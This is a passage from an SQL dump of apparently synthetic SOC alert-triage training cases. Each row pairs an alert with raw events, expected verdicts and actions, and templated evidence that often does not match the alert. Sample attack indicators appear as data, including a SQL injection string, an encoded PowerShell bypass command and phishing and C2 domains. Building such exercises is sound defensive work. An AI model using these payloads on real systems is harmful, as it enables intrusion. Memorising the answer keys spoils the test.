4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T10:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(949, 'Malware Detected via EDR', 'critical', 'CrowdStrike', 'Malicious file execution detected with a known malware hash.', 'Malware', 'T1059', 1, 'closed', 129, '{\"timestamp\":\"2026-01-16T11:11:11Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"hostname\":\"desktop02\",\"command_line\":\"C:\\\\malware\\\\evil.exe\",\"file_hash\":\"1234567890abcdef1234567890abcdef\"}', '2026-01-16 13:12:47', '2026-02-14 22:55:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected with 75 antivirus engines marking as malware.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\evil.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Suspicious file execution on internal network.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash matches known malware, confirming the alert as a true positive.\"}', 'Novice', 'EDR', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(950, 'Phishing Email Detected', 'high', 'Proofpoint', 'A phishing email containing a malicious link was received by the user.', 'Phishing', 'T1566', 1, 'Closed', 74, '{\"timestamp\":\"2026-01-16T09:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.5\",\"username\":\"asmith\",\"email_sender\":\"phisher@maliciousdomain.com\",\"url\":\"http://maliciousdomain.com/stealinfo\"}', '2026-01-16 13:12:47', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/stealinfo\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known for hosting phishing content.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a known phishing URL, confirming the malicious intent.\"}', 'Novice', 'CORE', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-02-01T20:32:22.636Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(951, 'SQL Injection Attempt Detected', 'high', 'Wazuh', 'A SQL injection payload was detected in a web request.', 'Web Attack', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T12:45:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.20\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"url\":\"http://victimsite.com/login\"}', '2026-01-16 13:12:47', '2026-02-11 14:00:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous SQL injection attempts\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The SQL injection payload is a common attack vector, confirming it as a true positive.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.636Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T12:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://victimsite.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.636Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T12:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://victimsite.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.636Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T12:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://victimsite.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.636Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T12:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://victimsite.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.636Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T12:45:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"url\\\":\\\"http://victimsite.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(952, 'C2 Communication Attempt Detected', 'critical', 'Firewall', 'Attempted communication with a known Command and Control server detected.', 'Malware', 'T1071', 1, 'Closed', 85, '{\"timestamp\":\"2026-01-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"203.0.113.55\",\"hostname\":\"server01\",\"domain\":\"maliciousc2.com\"}', '2026-01-16 13:12:47', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for hosting C2 servers\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"maliciousc2.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain linked to C2 activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection attempt to a known C2 server confirms malicious activity.\"}', 'Novice', 'NDR', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(953, 'Failed Login Attempts from Internal Source', 'low', 'SIEM', 'Multiple failed login attempts detected from an internal IP address.', 'Brute Force', 'T1110', 0, 'closed', 159, '{\"timestamp\":\"2026-01-16T08:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.10\",\"username\":\"bsmith\",\"hostname\":\"laptop03\",\"failed_attempts\":5}', '2026-01-16 13:12:47', '2026-02-18 09:08:36', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"bsmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account activity\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts are from an internal IP and appear to be benign activity.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.638Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"laptop03\\\",\\\"failed_attempts\\\":5}\"},{\"timestamp\":\"2026-02-01T20:31:22.638Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"laptop03\\\",\\\"failed_attempts\\\":5}\"},{\"timestamp\":\"2026-02-01T20:30:22.638Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"laptop03\\\",\\\"failed_attempts\\\":5}\"},{\"timestamp\":\"2026-02-01T20:29:22.638Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"laptop03\\\",\\\"failed_attempts\\\":5}\"},{\"timestamp\":\"2026-02-01T20:28:22.638Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"laptop03\\\",\\\"failed_attempts\\\":5}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(954, 'Script-Based Malware Detected', 'high', 'CrowdStrike', 'Execution of a script-based malware detected on a workstation.', 'Malware', 'T1059', 1, 'investigating', 145, '{\"timestamp\":\"2026-01-16T15:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"hostname\":\"workstation04\",\"command_line\":\"powershell -NoP -NonI -Exec Bypass -Enc ZQB4AGkAdAAgAC0AbwBuACA\"}', '2026-01-16 13:12:47', '2026-02-14 09:40:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell -NoP -NonI -Exec Bypass -Enc ZQB4AGkAdAAgAC0AbwBuACA\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded command indicates malicious script execution\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands indicates malicious script execution.\"}', 'Novice', 'EDR', 1, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(955, 'Suspicious Domain Access Detected', 'medium', 'Firewall', 'A request to a suspicious domain was made by a user on the internal network.', 'Web Request', 'T1071', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-16T13:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.60\",\"hostname\":\"laptop05\",\"domain\":\"unknown-domain.com\"}', '2026-01-16 13:12:47', '2026-02-16 17:36:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"unknown-domain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain recently registered and lacks reputation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The domain is new and lacks reputation but does not show malicious activity.\"}', 'Novice', 'CORE', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(956, 'Phishing Email with Suspicious Attachment', 'high', 'Proofpoint', 'A phishing email with a suspicious attachment was received.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T16:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.99\",\"username\":\"mjohnson\",\"email_sender\":\"fakebank@fraudulent.com\",\"filename\":\"invoice.pdf\"}', '2026-01-16 13:12:47', '2026-02-11 13:59:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"fakebank@fraudulent.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used in phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"invoice.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Attachment known to contain malicious macros\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a known malicious attachment, confirming phishing intent.\"}', 'Novice', 'CORE', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Suspicious Attachment\",\"date\":\"2026-02-01T20:32:22.642Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(957, 'Unauthorized Access Attempt Detected', 'medium', 'IDS/IPS', 'An unauthorized access attempt to a sensitive system was detected from an external IP.', 'Credential Attack', 'T1078', 1, 'Closed', 141, '{\"timestamp\":\"2026-01-16T17:55:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"secure-server\"}', '2026-01-16 13:12:47', '2026-02-12 04:25:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted admin account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The access attempt from a malicious IP to a sensitive system confirms the attack.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.643Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T17:55:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.643Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T17:55:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.643Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T17:55:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.643Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T17:55:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.643Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T17:55:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"secure-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(958, 'External IP Port Scanning Detected', 'medium', 'Firewall', 'Port scanning activity detected from an external IP address.', 'Reconnaissance', 'T1046', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T18:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"192.168.1.0/24\",\"hostname\":\"null\"}', '2026-01-16 13:12:47', '2026-02-16 17:17:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently reported for port scanning activities\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"reconnaissance\",\"analysis_notes\":\"The IP\'s history of port scanning confirms malicious reconnaissance activity.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(959, 'Benign User Behavior Mistaken as Anomalous', 'low', 'SIEM', 'Anomalous user behavior detected, but investigated and determined to be a benign anomaly.', 'Anomaly', 'T1087', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T19:10:00Z\",\"event_type\":\"user_behavior\",\"src_ip\":\"192.168.1.30\",\"username\":\"csmith\",\"hostname\":\"desktop06\",\"activity\":\"accessed large number of files\"}', '2026-01-16 13:12:47', '2026-02-15 05:05:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"csmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user with no history of malicious activity\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly\",\"analysis_notes\":\"The activity was investigated and found to be normal work behavior.\"}', 'Novice', 'CORE', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.645Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T19:10:00Z\\\",\\\"event_type\\\":\\\"user_behavior\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"csmith\\\",\\\"hostname\\\":\\\"desktop06\\\",\\\"activity\\\":\\\"accessed large number of files\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.645Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T19:10:00Z\\\",\\\"event_type\\\":\\\"user_behavior\\\",\\\"src_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"csmith\\\",\\\"hostname\\\":\\\"desktop06\\\",\\\"activity\\\":\\\"accessed large number of files\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.645Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 